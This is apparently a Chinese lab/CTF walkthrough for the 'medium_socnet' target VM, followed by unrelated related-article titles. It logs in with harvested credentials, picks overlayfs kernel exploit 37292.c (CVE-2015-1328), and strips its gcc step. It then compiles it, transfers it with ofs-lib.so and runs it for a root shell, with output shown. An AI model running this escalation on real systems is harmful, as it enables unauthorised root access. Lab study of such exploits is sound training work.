可以用于登录john:1337hack;
test:1234test;
admin:1111pass;
root:1234pass;
jane:1234jane
攻入真正目标
使用得到的 john:1337hack
登录 192.168.56.102
查看是否有 root 权限发现没有,需要进行提权
john@socnet:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)
探索一下目标上的信息 uname -a
发现其版本 Linux socnet 3.13.0-24-generic 通过 searchsploit 查询相关内核漏洞
john@socnet:~$ uname -a
Linux socnet 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
可以尝试的内核漏洞
Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' / 'SO_RCVBUFFORCE' Local Privilege E | linux/local/41995.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local P | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local P | linux/local/37293.txt
Linux Kernel 3.14-rc1 < 3.15-rc4 (x64) - Raw Mode PTY Echo Race Condition Privile | linux_x86-64/local/33516.c
尝试
linux/local/37292.c
漏洞查看一下,发现其中存在依赖/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so
我们需要去除依赖gcc部分因为目标上没有 gccfprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
/*
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != 0) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-1);
}
*/
write(fd,"/tmp/ofs-lib.so\n",16);
close(fd);
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
execl("/bin/su","su",NULL);
}
在本地编译
gcc -o exp 37292.c
并将/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so
与 编译后的exp
一起发送到目标,可以使用ssh
发送或 Python HTTP 服务结合wget
发送;如果方法不熟悉建议练习后尝试为
exp
与ofs-lib.so
增加可执行权限,将ofs-lib.so
移动到靶机\tmp
目录,并执行./exp
即可得到 root 权限john@socnet:~$ ./exp
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
# id
uid=0(root) gid=0(root) groups=0(root),1001(john)
#
如果出现下面错误,是你 kali 上编译时的 /lib/x86_64-linux-gnu/libc.so.6
动态库高于靶机的
./exp: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./exp)
解决方法是在靶机中使用 ldd --version
命令确定 ldd (Ubuntu EGLIBC 2.19-0ubuntu6) 2.19 然后去相关官网搜索 2.19-0ubuntu6
下载其对应版本的库文件,此靶机适用的版本 http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb
下载解压,在其中的 /lib/x86_64-linux-gnu/libc.so.6 确认其存在,编译 C 时使用 gcc 参数 -Ldir
指定上面的 libc.so.6 的路径,解决的编译命令: gcc -o exp 37292.c -Ldir ./lib/x86_64-linux-gnu/libc.so.6
# ldd --version
ldd (Ubuntu EGLIBC 2.19-0ubuntu6) 2.19
Copyright (C) 2014 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
靶机: medium_socnet的更多相关文章
- CTF线下防御战 — 让你的靶机变成“铜墙铁壁”
本文首发安全客,未经允许禁止转载.原文链接 一. 前言 随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,开始出现了安全加固或者防御战之类的环节,亦或者因为拿下靶机后不希望其他攻击者进 ...
- Ms17-010进行WEB提权之实践下某培训靶机服务器
前言:该机器为某个其他培训机构的靶机,说实话在这里没炫耀啥,只是给各位学习Ms17010的同学指一条路,我原先也折腾这玩意儿好久,但是就是不行,最近才找到了出路,所以多写两篇文章,把各种需要注意的地方 ...
- metasploit利用漏洞渗透攻击靶机
1.网络测试环境构建 首先需要先配置好一个渗透测试用的网络环境,包括如图1所示的运行Kali Linux系统的计算机,如图2所示的老师给的Windows Server 2000系统的计算机.这两台计算 ...
- web 攻击靶机解题过程
sql注入靶机攻击过程请参考 https://pentesterlab.com/exercises/from_sqli_to_shell/course http://www.sohu.com/a/12 ...
- Fowsniff: 1靶机入侵
一.信息收集 1.存活主机扫描 arp-scan -l 发现192.168.1.13是目标靶机的IP地址 2.端口扫描 接下来用nmap神器来扫描目标IP地址,命令如下: root@kali2018 ...
- digitalworld.local: MERCY靶机入侵
0x01 前言 MERCY是一个致力于PWK课程安全的靶机系统.MERCY是一款游戏名称,与易受攻击的靶机名称无关.本次实验是攻击目标靶机获取root权限并读系统目录中的proof.txt信息 靶机的 ...
- Moonraker:1靶机入侵
0x01 前言 攻击Moonraker系统并且找出存在最大的威胁漏洞,通过最大威胁漏洞攻击目标靶机系统并进行提权获取系统中root目录下的flag信息. Moonraker: 1镜像下载地址: h ...
- FourAndSix: 2.01靶机入侵
0x01 前言 FourAndSix2是易受攻击的一个靶机,主要任务是通过入侵进入到目标靶机系统然后提权,并在root目录中并读取flag.tx信息 FourAndSix2.镜像下载地址: htt ...
- Typhoon-v1.02 靶机入侵
0x01 前言 Typhoon VM包含多个漏洞和配置错误.Typhoon可用于测试网络服务中的漏洞,配置错误,易受攻击的Web应用程序,密码破解攻击,权限提升攻击,后期利用步骤,信息收集和DNS ...
随机推荐
- 解决beego运行程序报错问题:stderr: go: github.com/astaxie/beego@v1.12.1: missing go.sum entry
使用命令bee new beegodemo02创建beego程序后,使用VScode打开后,便会报错无法运行,报错信息如下: Error loading workspace: err: exit st ...
- 使用 Golang 代码生成图表的开源库对比
本文的目标读者 对用 Golang 代码生成折线图.扇形图等图表有兴趣的朋友. 本文摘要 主要介绍 Go 中用以绘图的开源库,分别是: GitHub - wcharczuk/go-chart: go ...
- Java开发学习(二十六)----SpringMVC返回响应结果
SpringMVC接收到请求和数据后,进行了一些处理,当然这个处理可以是转发给Service,Service层再调用Dao层完成的,不管怎样,处理完以后,都需要将结果告知给用户. 比如:根据用户ID查 ...
- Android OOM 问题探究 -- 从入门到放弃
一.前言 最近客户反馈了一些OOM的问题,很早之前自己也有简单了解过OOM的知识,但时间久远,很多东西都记不清了. 现在遇到这个OOM问题,也即趁此搜索了一些资料,对OOM问题做一些探究,把资料记录于 ...
- 用GitHub Actions自动部署Hexo
什么是 GitHub Actions ? GitHub Actions 是一个 CI/CD(持续集成/持续部署)工具,GitHub 于 2018 年 10 月推出,正式版于 2019 年 11 月正式 ...
- 【JDBC】学习路径1-JDBC背景知识
学习完本系列JDBC课程后,你就可以愉快使用Java操作我们的MySQL数据库了. 各种数据分析都不在话下了. 第一章:废话 JDBC编程,就是写Java的时候,调用了数据库. Java Databa ...
- Linux KVM创建虚拟机
原博文(https://www.cnblogs.com/supermao12/p/16382767.html) 开启虚拟化 KVM需要64位操作系统 [root@localhost 4.18.0-19 ...
- eReplication详解
eReplication简介 eReplication是一款基于华为存储复制.快照.双活.克隆以及FusionSphere主机复制等特性,保证上层应用数据一致性,针对华为典型容灾解决方案,提供可视化. ...
- with function 语法支持
通过with子句,我们可以把很多原本需要存储过程来实现的复杂逻辑用一句SQL来进行表达.KingbaseES 从V008R006C004B0021 版本开始,支持 with function 语法.例 ...
- KingbaseFlySync 专用机版本升级
关键字: KingbaseFlySync.Linux.x86_64.mips64el.aarch64.Java 专线机版本升级 1.备份kfs配置文件和rename问题,kufl目录 fsrepctl ...